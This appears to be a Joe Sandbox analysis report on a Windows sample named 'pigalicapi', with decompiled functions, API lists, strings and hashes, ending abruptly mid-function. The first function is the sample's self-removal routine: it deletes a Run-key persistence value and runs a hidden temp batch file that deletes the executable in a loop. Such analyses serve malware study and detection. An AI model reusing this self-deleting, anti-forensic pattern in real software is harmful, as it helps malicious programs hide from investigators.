Opcode Fuzzy Hash: 4585c1739067250b83ff4e6830931e3253784325d891f78b6e7bfd9162d3759d
Instruction Fuzzy Hash: 38B1A9B5A00609AFEB24DFA4DC85FAEBBB9FF48710F10811AF905E7241D674A9418F64

Uniqueness

Uniqueness Score: -1.00%

Function 040074A0 Relevance: 56.2, APIs: 24, Strings: 8, Instructions: 195
stringregistryfileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E040074A0() {
				char _v524;
				CHAR* _v528;
				void* _v532;
				void* _v536;
				void* _v540;
				char _v1060;
				char _v1580;
				char _v2364;
				long _v2368;
				struct _PROCESS_INFORMATION _v2384;
				long _v2388;
				struct _STARTUPINFOA _v2460;
				void* _t86;
				void* _t121;
				void* _t123;
				void* _t124;

				E04007D20(E04007D20( &_v2364,  &_v2364, 0, 0x30c),  &_v1060, 0, 0x208);
				_t123 = _t121 + 0x18;
				 *0x4014370 = 1;
				Sleep(0x3e8);
				if(( *0x4014362 & 0x000000ff) != 0) {
					_v2368 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v1060, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v1060,  &_v2368);
					}
					lstrcatA( &_v1060, "\\");
					lstrcatA( &_v1060, "pigalicapi");
					lstrcatA( &_v1060, ".exe");
				} else {
					GetModuleFileNameA(0,  &_v1060, 0x207);
				}
				SetFileAttributesA( &_v1060, 0x80);
				wnsprintfA( &_v2364, 0x30b, ":repeat\r\ndel %s\r\nif exist %s goto :repeat\r\ndel %%0",  &_v1060,  &_v1060);
				_t124 = _t123 + 0x14;
				if( *0x401436c != 0) {
					_t86 =  *0x401436c; // 0x2c8
					TerminateThread(_t86, 1);
				}
				_v528 = "software\\microsoft\\windows\\currentversion\\run";
				_v532 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v532 = 0x80000002;
				}
				_v536 = 0;
				if(RegOpenKeyExA(_v532, _v528, 0, 2,  &_v536) == 0) {
					RegDeleteValueA(_v536, "pigalicapi");
					RegCloseKey(_v536);
				}
				if(( *0x401435b & 0x000000ff) != 0) {
					E04005E30(1);
					_t124 = _t124 + 4;
				}
				GetEnvironmentVariableA("TEMP",  &_v1580, 0x104);
				GetTempFileNameA( &_v1580, "slf", GetTickCount() % 0xffff,  &_v524);
				lstrcatA( &_v524, ".bat");
				_t71 = CreateFileA( &_v524, 0x40000000, 1, 0, 2, 0, 0);
				_v540 = _t71;
				if(_v540 != 0xffffffff) {
					_v2388 = 0;
					WriteFile(_v540,  &_v2364, lstrlenA( &_v2364),  &_v2388, 0);
					E04007D20(E04007D20(CloseHandle(_v540),  &_v2384, 0, 0x10),  &_v2460, 0, 0x44);
					_v2460.cb = 0x44;
					_v2460.dwFlags = _v2460.dwFlags | 0x00000001;
					_v2460.wShowWindow = 0;
					if(CreateProcessA(0,  &_v524, 0, 0, 0, 0, 0, 0,  &_v2460,  &_v2384) != 0) {
						_t71 = CloseHandle(_v2384.hThread);
					}
					ExitProcess(0);
				}
				return _t71;
			}

APIs

Sleep.KERNEL32(000003E8), ref: 040074E4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 04007503
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 0400752E
lstrcatA.KERNEL32(?,0400C650), ref: 04007559
lstrcatA.KERNEL32(?,pigalicapi), ref: 0400756B
lstrcatA.KERNEL32(?,.exe), ref: 0400757D
SetFileAttributesA.KERNEL32(?,00000080), ref: 0400758F
wnsprintfA.SHLWAPI ref: 040075B4
TerminateThread.KERNEL32(000002C8,00000001), ref: 040075CE
RegOpenKeyExA.ADVAPI32(80000001,0400C690,00000000,00000002,00000000), ref: 04007620
RegDeleteValueA.ADVAPI32(00000000,pigalicapi), ref: 04007636
RegCloseKey.ADVAPI32(00000000), ref: 04007643
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 0400766F
GetTickCount.KERNEL32 ref: 0400767C
GetTempFileNameA.KERNEL32(?,slf,00000000), ref: 04007698
lstrcatA.KERNEL32(?,.bat), ref: 040076AA
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 040076C6
lstrlenA.KERNEL32(?,00000000,00000000), ref: 040076F9
WriteFile.KERNEL32(000000FF,?,00000000), ref: 0400770E
CloseHandle.KERNEL32(000000FF), ref: 0400771B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0400778C
CloseHandle.KERNEL32(?), ref: 0400779D
ExitProcess.KERNEL32 ref: 040077A5

Strings

slf, xrefs: 0400768C
D, xrefs: 04007747
:repeatdel %sif exist %s goto :repeatdel %%0, xrefs: 040075A3
TEMP, xrefs: 0400766A
USERPROFILE, xrefs: 04007542
.bat, xrefs: 0400769E
.exe, xrefs: 04007571
pigalicapi, xrefs: 0400755F, 0400762A

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$lstrcat$Close$CreateHandleNameProcess$AttributesCountDeleteDirectoryEnvironmentExitModuleOpenProfileSleepTempTerminateThreadTickUsersValueVariableWritelstrlenwnsprintf
String ID: .bat$.exe$:repeatdel %sif exist %s goto :repeatdel %%0$D$TEMP$USERPROFILE$pigalicapi$slf
API String ID: 3221898725-336785456
Opcode ID: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction ID: 33d1a80e31bd16fda39fb1d5e61c33b6d2d8e7faa3bd40571536c86a9d597677
Opcode Fuzzy Hash: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction Fuzzy Hash: 277134B1A44318ABF7649F60DC49FEA7778EB44705F448698B209B60C1DBBCAA84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00806040 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 323
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00806040(CHAR* __eax, CHAR* _a4, intOrPtr _a8) {
				void* _v5;
				signed int _v6;
				char _v11;
				char _v12;
				CHAR* _v16;
				int _v20;
				void* __edi;
				int _t73;
				CHAR* _t74;
				CHAR* _t75;
				int _t76;
				signed int _t77;
				signed int _t78;
				int _t79;
				signed int _t84;
				void* _t88;
				void* _t102;
				signed int _t104;
				signed int _t105;
				CHAR* _t119;
				CHAR* _t120;
				CHAR* _t121;
				char _t124;
				char _t125;
				intOrPtr _t126;
				char _t132;
				char _t135;
				void* _t143;
				char* _t146;
				intOrPtr _t147;
				void* _t148;
				intOrPtr _t149;
				void* _t150;
				signed int _t152;
				signed int _t153;
				void* _t154;
				signed int _t159;
				intOrPtr _t161;
				void* _t164;
				void* _t165;
				void* _t166;
				signed int _t167;
				void* _t168;

				_t119 = __eax;
				_t73 = lstrlenA(__eax);
				_t147 = _a8;
				if(_t73 >= _t147) {
					 *_a4 = 0;
					_t124 =  *_t119;
					_v5 = 0x5c;
					_t74 = _t119;
					while(_t124 != 0) {
						if(_t124 == 0x2f || _t124 == 0x5c) {
							_v5 = _t124;
						}
						_t74 = CharNextA(_t74);
						_t124 =  *_t74;
					}
					_t125 =  *_t119;
					_v16 = _t119;
					_t75 = _t119;
					while(_t125 != 0) {
						if(_t125 == 0x5c || _t125 == 0x3a || _t125 == 0x2f) {
							_t135 = _t75[1];
							_t146 =  &(_t75[1]);
							if(_t135 != 0 && _t135 != 0x5c && _t135 != 0x2f) {
								_v16 = _t146;
							}
						}
						_t75 = CharNextA(_t75);
						_t125 =  *_t75;
					}
					_t76 = lstrlenA(_v16);
					_v20 = _t76;
					if(_v16 != _t119 || _t147 <= 3) {
						if(_t147 >= 7) {
							_t159 = _t147 - _t76 - 5;
							if(_t159 >= 0) {
								if(_t159 > 0) {
									_t153 = _t159;
									while(IsDBCSLeadByte(_t119[_t153 - 1] & 0x000000ff) != 0) {
										_t153 = _t153 - 1;
										if(_t153 > 0) {
											continue;
										}
										break;
									}
									if((_t159 - _t153 & 0x00000001) != 0) {
										_t159 = _t159 - 1;
									}
								}
							} else {
								_t159 = 0;
							}
							_t126 = _a8;
							_t148 = 0;
							_t77 = _t159;
							if(_t126 == 0) {
								goto L61;
							} else {
								if(_t159 != 0xffffffff) {
									if(_t126 > _t159) {
										goto L60;
									} else {
										 *_a4 = 0;
										goto L61;
									}
								} else {
									_t152 = _t126 - 1;
									if(_t152 >= lstrlenA(_t119)) {
										_t77 = lstrlenA(_t119);
									} else {
										_t77 = _t152;
									}
									_t148 = 0x50;
									L60:
									_t77 = lstrcpynA(_a4, _t119, _t77 + 1);
									if(_t77 == 0) {
										L61:
										_t148 = 0x16;
									}
								}
							}
							_t78 = _t77 & 0xffffff00 | _t148 == 0x00000000;
							_v6 = _t78;
							if(_t78 != 0) {
								_t79 = lstrlenA("...");
								_t149 = _a8;
								if(_t149 > _t79) {
									lstrcatA(_a4, "...");
								}
								_v12 = _v5;
								_v11 = 0;
								if(_t149 > lstrlenA( &_v12)) {
									lstrcatA(_a4,  &_v12);
								}
								if(_t149 <= _v20 + 4) {
									_t150 = _t149 + 0xfffffff8;
									if(_t150 > 0) {
										_t88 = E00806000(_t150, _v16);
										_t168 = _t168 + 4;
										if(_t88 != 0) {
											_t150 = _t150 - 1;
										}
									}
									_t120 = _a4;
									_t161 = _a8;
									_t84 = E00804910(_t150, _t161 - 4, _v16,  &(_t120[4])) & 0xffffff00 | _t83 == 0x00000000;
									_v6 = _t84;
									if(_t84 != 0 && _t161 > lstrlenA("...")) {
										lstrcatA(_t120, "...");
									}
									goto L80;
								} else {
									_t121 = _v16;
									if(_t149 <= lstrlenA(_t121)) {
										goto L80;
									} else {
										lstrcatA(_a4, _t121);
										return _v6;
									}
								}
							} else {
								return _t78;
							}
						} else {
							_t164 = _t147 - 1;
							_t102 = 0;
							if(_t164 > 0) {
								do {
									_t132 = _v5;
									_t33 = _t102 + 1; // 0x1
									_t143 = _t33;
									if(_t143 != 4) {
										_t132 = 0x2e;
									}
									 *((char*)(_t102 + _a4)) = _t132;
									_t102 = _t143;
								} while (_t102 < _t164);
							}
							_a4[_t147 - 1] = 0;
							return 1;
						}
					} else {
						_t165 = 0;
						_t104 = _t147 - 4;
						if(_t147 == 0) {
							L28:
							_t165 = 0x16;
						} else {
							if(_t104 != 0xffffffff) {
								if(_t147 > _t104) {
									goto L27;
								} else {
									_t104 = _a4;
									 *_t104 = 0;
									goto L28;
								}
							} else {
								_t167 = _t147 - 1;
								if(_t167 >= lstrlenA(_t119)) {
									_t104 = lstrlenA(_t119);
								} else {
									_t104 = _t167;
								}
								_t165 = 0x50;
								L27:
								_t104 = lstrcpynA(_a4, _t119, _t104 + 1);
								if(_t104 == 0) {
									goto L28;
								}
							}
						}
						_t105 = _t104 & 0xffffff00 | _t165 == 0x00000000;
						_v6 = _t105;
						if(_t105 == 0) {
							L80:
							return _v6;
						} else {
							_t154 = _t147 + 0xfffffffd;
							_t166 = _t154;
							if(_t154 > 0) {
								while(IsDBCSLeadByte(_t119[_t166 - 1] & 0x000000ff) != 0) {
									_t166 = _t166 - 1;
									if(_t166 > 0) {
										continue;
									}
									break;
								}
								if((_t154 - _t166 & 0x00000001) != 0) {
									_a4[_a8 - 4] = 0;
								}
							}
							if(_a8 <= lstrlenA("...")) {
								goto L80;
							} else {
								lstrcatA(_a4, "...");
								return _v6;
							}
						}
					}
				} else {
					if(_t147 > lstrlenA(_t119)) {
						lstrcpyA(_a4, _t119);
					}
					return 1;
				}
			}

0x0080604f
0x00806052
0x00806054
0x00806059
0x0080607f
0x00806082
0x00806084
0x00806088
0x0080608c
0x00806093
0x0080609a
0x0080609a
0x0080609e
0x008060a0
0x008060a2
0x008060a6
0x008060a8
0x008060ab
0x008060af
0x008060b4
0x008060c0
0x008060c3
0x008060c8
0x008060d4
0x008060d4
0x008060c8
0x008060d8
0x008060da
0x008060dc
0x008060e4
0x008060ea
0x008060f0
0x008061cb
0x00806204
0x00806207
0x0080620f
0x00806211
0x00806213
0x00806223
0x00806226
0x00000000
0x00000000
0x00000000
0x00806226
0x0080622e
0x00806230
0x00806230
0x0080622e
0x00806209
0x00806209
0x00806209
0x00806231
0x00806234
0x00806236
0x0080623a
0x00000000
0x0080623c
0x0080623f
0x0080628e
0x00000000
0x00806290
0x00806293
0x00000000
0x00806293
0x00806241
0x00806248
0x0080624f
0x00806256
0x00806251
0x00806251
0x00806251
0x00806258
0x0080625d
0x00806264
0x0080626c
0x0080626e
0x0080626e
0x0080626e
0x0080626c
0x0080623f
0x00806275
0x00806278
0x0080627d
0x008062a5
0x008062a7
0x008062ac
0x008062b7
0x008062b7
0x008062c4
0x008062c7
0x008062cf
0x008062d9
0x008062d9
0x008062e7
0x00806308
0x0080630d
0x00806313
0x00806318
0x0080631d
0x0080631f
0x0080631f
0x0080631d
0x00806320
0x00806323
0x0080633c
0x0080633f
0x00806344
0x0080635b
0x0080635b
0x00000000
0x008062e9
0x008062e9
0x008062f1
0x00000000
0x008062f3
0x008062f8
0x00806307
0x00806307
0x008062f1
0x00806285
0x00806285
0x00806285
0x008061cd
0x008061cd
0x008061d0
0x008061d4
0x008061d6
0x008061d6
0x008061d9
0x008061d9
0x008061df
0x008061e1
0x008061e1
0x008061e6
0x008061e9
0x008061eb
0x008061d6
0x008061f2
0x008061ff
0x008061ff
0x008060ff
0x008060ff
0x00806101
0x00806106
0x00806140
0x00806140
0x00806108
0x0080610b
0x008061b7
0x00000000
0x008061bd
0x008061bd
0x008061c0
0x00000000
0x008061c0
0x00806111
0x00806112
0x0080611d
0x00806124
0x0080611f
0x0080611f
0x0080611f
0x0080612a
0x0080612f
0x00806136
0x0080613e
0x00000000
0x00000000
0x0080613e
0x0080610b
0x00806147
0x0080614a
0x0080614f
0x00806361
0x0080636a
0x00806155
0x00806155
0x00806158
0x0080615c
0x00806160
0x00806170
0x00806173
0x00000000
0x00000000
0x00000000
0x00806173
0x0080617b
0x00806183
0x00806183
0x0080617b
0x00806196
0x00000000
0x0080619c
0x008061a5
0x008061b4
0x008061b4
0x00806196
0x0080614f
0x0080605b
0x00806060
0x00806067
0x00806067
0x00806075
0x00806075

APIs

lstrlenA.KERNEL32 ref: 00806052
lstrlenA.KERNEL32 ref: 0080605C
lstrcpyA.KERNEL32(?), ref: 00806067
CharNextA.USER32 ref: 0080609E
CharNextA.USER32 ref: 008060D8
lstrlenA.KERNEL32(?), ref: 008060E4
lstrlenA.KERNEL32 ref: 00806115
lstrlenA.KERNEL32 ref: 00806124
lstrcpynA.KERNEL32(?,?,?), ref: 00806136
IsDBCSLeadByte.KERNEL32(0000005C), ref: 00806166
lstrlenA.KERNEL32(...), ref: 0080618D
lstrcatA.KERNEL32(?,...), ref: 008061A5

Strings

..., xrefs: 00806188, 0080619F, 008062A0, 008062B1, 00806346, 00806355
\, xrefs: 00806084

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: lstrlen$CharNext$ByteLeadlstrcatlstrcpylstrcpyn
String ID: ...$\
API String ID: 2258621147-1507338726
Opcode ID: 750efe567bd01509873f6284c2ac77ed58b8a78e5be3e5f3a96eaa591ab791ef
Instruction ID: b561b5a20a38c0c980647d6651ec01b4e3b5a24d7a19a10d791a578de9d405d8
Opcode Fuzzy Hash: 750efe567bd01509873f6284c2ac77ed58b8a78e5be3e5f3a96eaa591ab791ef
Instruction Fuzzy Hash: 9BA14836A00619ABCB618B78DC84BAE7FA5FF85354F148151EC54EB3C2E6319D368B90

Uniqueness

Uniqueness Score: -1.00%

Function 00810060 Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 251
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00810060(struct HMENU__** __ecx) {
				signed int _v8;
				char _v211;
				char _v212;
				int _v216;
				int _v220;
				signed int _v224;
				int _v228;
				void* _v232;
				struct HWND__* _v236;
				struct HWND__* _v240;
				struct HWND__* _v244;
				void* _v248;
				struct tagRECT _v264;
				struct HMENU__* _v268;
				int _v272;
				struct HMENU__** _v276;
				long _v280;
				struct HMENU__* _v284;
				int _v288;
				CHAR* _v292;
				int _v296;
				int _v300;
				int _v304;
				int _v308;
				int _v312;
				void* _v316;
				struct tagMENUITEMINFOA _v364;
				struct HWND__* _v412;
				char _v440;
				char _v444;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t93;
				struct HWND__** _t97;
				long _t100;
				long _t103;
				struct HMENU__* _t104;
				signed char _t117;
				int _t124;
				signed char _t139;
				long _t143;
				void* _t152;
				struct HWND__* _t168;
				struct HMENU__* _t169;
				int _t170;
				CHAR* _t171;
				signed int _t172;
				void* _t173;
				void* _t174;

				_t93 =  *0x869060; // 0xda7e2511
				_v8 = _t93 ^ _t172;
				_t169 = __ecx;
				_v276 = __ecx;
				_v444 = 0x50;
				E00816820( &_v440, 0, 0x4c);
				_t97 =  *(_t169 + 4);
				_t139 = SendMessageA;
				_t174 = _t173 + 0xc;
				_v440 = 0x10;
				_t161 = _t97[3];
				_t143 =  &_v444;
				SendMessageA( *_t97, 0x41d, _t97[3], _t143);
				_t168 = _v412;
				_t100 = SendMessageA(_t168, 0x418, 0, 0);
				_v280 = _t100;
				if(_t100 <= 0) {
					L26:
					return E008159E6(0, _t139, _v8 ^ _t172, _t161, _t168, _t169);
				} else {
					_t103 = SendMessageA(_t168, 0x52e, 0, 0);
					_v284 = _t103;
					 *((char*)(_t169 + 8)) = _t143 & 0xffffff00 | _t103 != 0x00000000;
					_t104 = CreatePopupMenu();
					_t161 =  &_v264;
					_v268 = _t104;
					_t170 = 0;
					_v264.left = 0;
					_v264.top = 0;
					_v264.right = 0;
					_v264.bottom = 0;
					GetClientRect(_t168,  &_v264);
					_v272 = 0;
					if(_v280 > 0) {
						while(1) {
							_v232 = 0;
							_v228 = 0;
							_v224 = 0;
							_v220 = 0;
							_v216 = 0;
							SendMessageA(_t168, 0x417, _t170,  &_v232);
							if((_v224 & 0x00000008) != 0) {
								goto L21;
							}
							_v248 = 0;
							_v244 = 0;
							_v240 = 0;
							_v236 = 0;
							SendMessageA(_t168, 0x41d, _t170,  &_v248);
							_t117 = _v224;
							_t161 = _v240;
							_t139 = _t117 >> 0x00000002 & 0x00000001;
							if(_v240 > _v264.right) {
								if((_t117 & 0x00000001) == 0) {
									_push(0xc7);
									_push(0);
									_v212 = 0;
									_push( &_v211);
									if(_v276[2] == 0) {
										E00816820();
										_t174 = _t174 + 0xc;
										_v312 = 0;
										_v292 = 0;
										_v288 = 0;
										_v308 = 0;
										_v304 = 0;
										_v300 = 0;
										_v296 = 0;
										_t171 =  &_v212;
										_v316 = 0x20;
										_v312 = 2;
										_v292 = _t171;
										_v288 = 0xc8;
										if(SendMessageA(_t168, 0x441, _v228,  &_v316) == 0xffffffff || lstrlenA(_t171) == 0) {
											_t171 = 0x82293e;
											_t124 = LoadStringA( *0x880c0c, _v228,  &_v212, 0xc8);
											_t152 = 0;
											if(_t124 > 0) {
												while( *((char*)(_t172 + _t152 - 0xd0)) != 0xa) {
													_t152 = _t152 + 1;
													if(_t152 < _t124) {
														continue;
													} else {
													}
													goto L20;
												}
												_t171 = _t172 + _t152 - 0xcf;
											}
										}
										L20:
										_t161 = _v228;
										AppendMenuA(_v268, 0 | _t139 == 0x00000000, _v228, _t171);
										_t170 = _v272;
									} else {
										E00816820();
										E00816820( &_v364, 0, 0x30);
										_t174 = _t174 + 0x18;
										_v364.cbSize = 0x30;
										if(E00804890(_t139, _t168, _t170) != 0) {
											_v364.cbSize = 0x2c;
										}
										_v364.fMask = 0x14;
										_v364.dwTypeData =  &_v212;
										_v364.cch = 0xc8;
										GetMenuItemInfoA(_v284, _t170, 1,  &_v364);
										_t161 = _v268;
										AppendMenuA(_v268, 0 | _t139 == 0x00000000 | 0x00000010, _v364.hSubMenu, _v364.dwTypeData);
									}
								} else {
									if(GetMenuItemCount(_v268) > 0) {
										AppendMenuA(_v268, 0x800, 0, 0);
									}
								}
							}
							L21:
							_t170 = _t170 + 1;
							_v272 = _t170;
							if(_t170 < _v280) {
								_t139 = SendMessageA;
								continue;
							}
							goto L22;
						}
					}
					L22:
					_t169 = _v268;
					if(GetMenuItemCount(_t169) != 0) {
						 *_v276 = _t169;
						return E008159E6(1, _t139, _v8 ^ _t172, _v276, _t168, _t169);
					} else {
						if(_t169 != 0) {
							DestroyMenu(_t169);
						}
						MessageBeep(0xffffffff);
						goto L26;
					}
				}
			}

0x00810069
0x00810070
0x0081007e
0x00810083
0x00810089
0x00810093
0x00810098
0x0081009b
0x008100a1
0x008100a4
0x008100ae
0x008100b3
0x008100c1
0x008100c3
0x008100d3
0x008100d5
0x008100dd
0x008103f7
0x00810409
0x008100e3
0x008100ed
0x008100f4
0x008100fa
0x008100fd
0x00810103
0x00810109
0x00810112
0x00810115
0x0081011b
0x00810121
0x00810127
0x0081012d
0x00810133
0x0081013f
0x00810156
0x00810158
0x0081015e
0x00810164
0x0081016a
0x00810170
0x00810184
0x0081018d
0x00000000
0x00000000
0x008101a3
0x008101a9
0x008101af
0x008101b5
0x008101bb
0x008101bd
0x008101c3
0x008101ce
0x008101d7
0x008101e0
0x0081021c
0x00810227
0x00810229
0x00810230
0x00810231
0x008102ce
0x008102d5
0x008102d8
0x008102de
0x008102e4
0x008102f1
0x008102f7
0x008102fd
0x00810303
0x00810310
0x0081031e
0x00810328
0x00810332
0x00810338
0x0081034b
0x00810374
0x00810379
0x0081037f
0x00810383
0x00810385
0x0081038f
0x00810392
0x00000000
0x00000000
0x00810394
0x00000000
0x00810392
0x00810396
0x00810396
0x00810383
0x0081039d
0x0081039d
0x008103b4
0x008103ba
0x00810237
0x00810237
0x00810247
0x0081024c
0x0081024f
0x00810260
0x00810262
0x00810262
0x00810283
0x0081028d
0x00810293
0x0081029d
0x008102b7
0x008102c3
0x008102c3
0x008101e2
0x008101f1
0x00810207
0x00810207
0x008101f1
0x008101e0
0x008103c0
0x008103c0
0x008103c1
0x008103cd
0x00810150
0x00000000
0x00810150
0x00000000
0x008103cd
0x00810156
0x008103d3
0x008103d3
0x008103e2
0x00810414
0x00810424
0x008103e4
0x008103e6
0x008103e9
0x008103e9
0x008103f1
0x00000000
0x008103f1
0x008103e2

APIs

_memset.LIBCMT ref: 00810093
SendMessageA.USER32 ref: 008100C1
SendMessageA.USER32 ref: 008100D3
SendMessageA.USER32 ref: 008100ED
CreatePopupMenu.USER32(?,00000000), ref: 008100FD
GetClientRect.USER32 ref: 0081012D
SendMessageA.USER32 ref: 00810184
SendMessageA.USER32 ref: 008101BB
GetMenuItemCount.USER32 ref: 008101E9
AppendMenuA.USER32 ref: 00810207
_memset.LIBCMT ref: 00810237
_memset.LIBCMT ref: 00810247
GetMenuItemInfoA.USER32 ref: 0081029D
AppendMenuA.USER32 ref: 008102C3
GetMenuItemCount.USER32 ref: 008103DA
DestroyMenu.USER32(?,?,00000000), ref: 008103E9
MessageBeep.USER32(000000FF), ref: 008103F1

Strings

P, xrefs: 00810089
,, xrefs: 00810262
, xrefs: 0081031E

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Menu$Message$Send$Item_memset$AppendCount$BeepClientCreateDestroyInfoPopupRect
String ID: $,$P
API String ID: 23422806-2204626854
Opcode ID: b6363e39d88e5f5b10b3e255721829d65f442f74444381445e9990601722946f
Instruction ID: 3d8a17a07b6c06aa4d118d77c598b14a4e00b1ecb13c9235ec106cafd57f5191
Opcode Fuzzy Hash: b6363e39d88e5f5b10b3e255721829d65f442f74444381445e9990601722946f
Instruction Fuzzy Hash: 96A119B09012289BDB64DB64DC89BDEB7B8FF49700F1081DAA549E7281D7B05EC5CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0080E8C0 Relevance: 40.5, APIs: 18, Strings: 5, Instructions: 262
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0080E8C0(void* __ecx, struct HMENU__* __edx, signed char _a4, int _a8) {
				signed int _v8;
				char _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				void* _v132;
				struct tagRECT _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				signed char _v160;
				intOrPtr _v164;
				void* _v168;
				struct _OSVERSIONINFOA _v324;
				char _v325;
				void* _v332;
				long _v336;
				signed int _v340;
				int _v344;
				int _v348;
				struct HMENU__* _v352;
				CHAR* _v356;
				struct tagMENUITEMINFOA _v404;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t92;
				signed char _t95;
				long _t97;
				signed char _t110;
				signed char _t112;
				int _t125;
				intOrPtr* _t139;
				CHAR* _t140;
				char _t144;
				int _t145;
				int _t147;
				char _t159;
				struct HMENU__* _t167;
				void* _t169;
				signed short _t170;
				void* _t172;
				signed int _t173;
				void* _t174;

				_t92 =  *0x869060; // 0xda7e2511
				_v8 = _t92 ^ _t173;
				_t145 = _a8;
				_t172 = __ecx;
				_t147 = _a4;
				 *_t145 = 1;
				_t95 =  *(__ecx + 0x84) & 0x00000001;
				_t167 = __edx;
				_v352 = __edx;
				_v348 = _t145;
				if(_t95 == 0) {
					L2:
					_v336 = 0x10001;
					L3:
					if(_t95 == 0) {
						L34:
						_t162 =  *(_t172 + 4);
						_v332 = 0;
						_t97 = SendMessageA( *(_t172 + 4), 0x44e, _t147,  &_v332);
						if(_t97 != 0) {
							if(IsWindowEnabled( *(_t172 + 0x5c)) != 0) {
								_v148.top = 0;
								_v148.right = 0;
								_v148.bottom = 0;
								_t145 = 0;
								_v148.left = 0;
								GetClientRect( *(_t172 + 4),  &_v148);
								_v128 = 0;
								_v124 = 0;
								_v120 = 0;
								_v132 = 0;
								SendMessageA( *(_t172 + 4), 0x41d, _v332,  &_v132);
								_t162 = _v332;
								_v164 = 0;
								_v160 = 0;
								_v156 = 0;
								_v152 = 0;
								_v168 = 0;
								SendMessageA( *(_t172 + 4), 0x417, _v332,  &_v168);
								_t110 = _v160;
								if((_t110 & 0x00000004) == 0 || (_t110 & 0x00000008) != 0 || _v124 > _v148.right) {
									MessageBeep(_t145);
								} else {
									_t112 =  *(_t172 + 0x85);
									if((_t112 & 0x00000002) != 0 && (_t112 & 0x00000004) == 0) {
										 *(_t172 + 0x85) = _t112 | 0x00000008;
										E00811600(1, _t172);
									}
									E00811540(_t172);
									_t162 =  *(_t172 + 4);
									PostMessageA( *(_t172 + 4), 0x100, 0x28, _t145);
									SendMessageA( *(_t172 + 4), 0x448, _v332, _t145);
								}
							}
						} else {
							 *_t145 = _t97;
							PostMessageA( *(_t172 + 4), 0x448, 0xffffffff, _t97);
							E00811570(_t172, SendMessageA);
							if(_a4 == 0x2f && E00811120(_t172) != 0) {
								 *_t145 = 1;
							}
						}
						L47:
						_pop(_t169);
						return E008159E6(_v336, _t145, _v8 ^ _t173, _t162, _t169, _t172);
					}
					_t162 = _t147 >> 0x10;
					if(_t147 >> 0x10 != 0x10) {
						if(_t95 != 0) {
							goto L47;
						}
						goto L34;
					}
					_t125 = GetMenuItemCount(_t167);
					_t145 = 0;
					_v344 = _t125;
					_v332 = 2;
					_v340 = 0;
					_v325 = 0;
					if(_t125 <= 0) {
						goto L47;
					} else {
						goto L8;
						L9:
						_t144 = _v324.dwMajorVersion;
						if(_t144 >= 5 || _t144 == 4 && _v324.dwMinorVersion >= 0x5a) {
							L13:
							_v404.cch = 0x64;
							_v404.fMask = 0x3f;
							_v404.dwTypeData =  &_v116;
							if(GetMenuItemInfoA(_t167, _t145, 1,  &_v404) == 0 || (_v404.fType & 0x00000800) != 0) {
								L26:
								_t145 = _t145 + 1;
